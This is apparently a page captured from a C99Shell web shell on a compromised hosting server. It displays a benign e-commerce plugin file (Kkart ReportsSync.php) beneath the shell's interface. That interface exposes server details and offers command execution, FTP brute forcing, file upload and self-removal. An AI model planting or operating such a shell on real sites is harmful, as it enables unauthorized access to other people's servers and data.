!C99Shell v. 2.0 [PHP 7 Update] [25.02.2019]!

Software: Apache. PHP/7.3.33 

uname -a: Linux acloudg.aryanict.com 4.18.0-513.9.1.lve.el8.x86_64 #1 SMP Mon Dec 4 15:01:22 UTC
2023 x86_64
 

uid=1095(katebhospital) gid=1098(katebhospital) groups=1098(katebhospital) 

Safe-mode: OFF (not secure)

/var/softaculous/sitepad/editor/site-data/plugins/kkart-pro/packages/kkart-admin/src/   drwxr-xr-x
Free 293.2 GB of 429.69 GB (68.24%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     ReportsSync.php (5.82 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
/**
 * Report table sync related functions and actions.
 */

namespace Automattic\Kkart\Admin;

defined'ABSPATH' ) || exit;

use 
Automattic\Kkart\Admin\Schedulers\CustomersScheduler;
use 
Automattic\Kkart\Admin\Schedulers\OrdersScheduler;
use 
Automattic\Kkart\Admin\Schedulers\ImportScheduler;

/**
 * ReportsSync Class.
 */
class ReportsSync {
    
/**
     * Hook in sync methods.
     */
    
public static function init() {
        
// Initialize scheduler hooks.
        
foreach ( self::get_schedulers() as $scheduler ) {
            
$scheduler::init();
        }
        
add_action'kkart_update_product', array( __CLASS__'clear_stock_count_cache' ) );
        
add_action'kkart_new_product', array( __CLASS__'clear_stock_count_cache' ) );
        
add_action'update_option_kkart_notify_low_stock_amount', array( __CLASS__'clear_stock_count_cache' ) );
        
add_action'update_option_kkart_notify_no_stock_amount', array( __CLASS__'clear_stock_count_cache' ) );
    }

    
/**
     * Get classes for syncing data.
     *
     * @return array
     * @throws \Exception Throws exception when invalid data is found.
     */
    
public static function get_schedulers() {
        
$schedulers apply_filters(
            
'kkart_analytics_report_schedulers',
            array(
                new 
CustomersScheduler(),
                new 
OrdersScheduler(),
            )
        );

        foreach ( 
$schedulers as $scheduler ) {
            if ( ! 
is_subclass_of$scheduler'Automattic\Kkart\Admin\Schedulers\ImportScheduler' ) ) {
                throw new \
Exception__'Report sync schedulers should be derived from the Automattic\Kkart\Admin\Schedulers\ImportScheduler class.''kkart' ) );
            }
        }

        return 
$schedulers;
    }

    
/**
     * Returns true if an import is in progress.
     *
     * @return bool
     */
    
public static function is_importing() {
        foreach ( 
self::get_schedulers() as $scheduler ) {
            if ( 
$scheduler::is_importing() ) {
                return 
true;
            }
        }
        return 
false;
    }

    
/**
     * Regenerate data for reports.
     *
     * @param int|bool $days Number of days to import.
     * @param bool     $skip_existing Skip exisiting records.
     * @return string
     */
    
public static function regenerate_report_data$days$skip_existing ) {
        if ( 
self::is_importing() ) {
            return new \
WP_Error'kkart_admin_import_in_progress'__'An import is already in progress.  Please allow the previous import to complete before beginning a new one.''kkart' ) );
        }

        
self::reset_import_stats$days$skip_existing );
        foreach ( 
self::get_schedulers() as $scheduler ) {
            
$scheduler::schedule_action'import_batch_init', array( $days$skip_existing ) );
        }

        
/**
         * Fires when report data regeneration begins.
         *
         * @param int|bool $days Number of days to import.
         * @param bool     $skip_existing Skip exisiting records.
         */
        
do_action'kkart_analytics_regenerate_init'$days$skip_existing );

        return 
__'Report table data is being rebuilt.  Please allow some time for data to fully populate.''kkart' );
    }

    
/**
     * Update the import stat totals and counts.
     *
     * @param int|bool $days Number of days to import.
     * @param bool     $skip_existing Skip exisiting records.
     */
    
public static function reset_import_stats$days$skip_existing ) {
        
$import_stats get_optionImportScheduler::IMPORT_STATS_OPTION, array() );
        
$totals       self::get_import_totals$days$skip_existing );

        foreach ( 
self::get_schedulers() as $scheduler ) {
            
$import_stats$scheduler::$name ]['imported'] = 0;
            
$import_stats$scheduler::$name ]['total']    = $totals$scheduler::$name ];
        }

        
// Update imported from date if older than previous.
        
$previous_import_date = isset( $import_stats['imported_from'] ) ? $import_stats['imported_from'] : null;
        
$current_import_date  $days gmdate'Y-m-d 00:00:00'time() - ( DAY_IN_SECONDS $days ) ) : -1;

        if ( ! 
$previous_import_date || -=== $current_import_date || new \DateTime$previous_import_date ) > new \DateTime$current_import_date ) ) {
            
$import_stats['imported_from'] = $current_import_date;
        }

        
update_optionImportScheduler::IMPORT_STATS_OPTION$import_stats );
    }

    
/**
     * Get stats for current import.
     *
     * @return array
     */
    
public static function get_import_stats() {
        
$import_stats                 get_optionImportScheduler::IMPORT_STATS_OPTION, array() );
        
$import_stats['is_importing'] = self::is_importing();

        return 
$import_stats;
    }

    
/**
     * Get the import totals for all syncs.
     *
     * @param int|bool $days Number of days to import.
     * @param bool     $skip_existing Skip exisiting records.
     * @return array
     */
    
public static function get_import_totals$days$skip_existing ) {
        
$totals = array();

        foreach ( 
self::get_schedulers() as $scheduler ) {
            
$items                       $scheduler::get_items11$days$skip_existing );
            
$totals$scheduler::$name ] = $items->total;
        }

        return 
$totals;
    }

    
/**
     * Clears all queued actions.
     */
    
public static function clear_queued_actions() {
        foreach ( 
self::get_schedulers() as $scheduler ) {
            
$scheduler::clear_queued_actions();
        }
    }

    
/**
     * Delete all data for reports.
     *
     * @return string
     */
    
public static function delete_report_data() {
        
// Cancel all pending import jobs.
        
self::clear_queued_actions();

        foreach ( 
self::get_schedulers() as $scheduler ) {
            
$scheduler::schedule_action'delete_batch_init', array() );
        }

        
// Delete import options.
        
delete_optionImportScheduler::IMPORT_STATS_OPTION );

        return 
__'Report table data is being deleted.''kkart' );
    }

    
/**
     * Clear the count cache when products are added or updated, or when
     * the no/low stock options are changed.
     *
     * @param int $id Post/product ID.
     */
    
public static function clear_stock_count_cache$id ) {
        
delete_transient'kkart_admin_stock_count_lowstock' );
        
delete_transient'kkart_admin_product_count' );
        
$status_options kkart_get_product_stock_status_options();
        foreach ( 
$status_options as $status => $label ) {
            
delete_transient'kkart_admin_stock_count_' $status );
        }
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.0 [PHP 7 Update] [25.02.2019] maintained by KaizenLouie | C99Shell Github | Generation time: 0.0046 ]--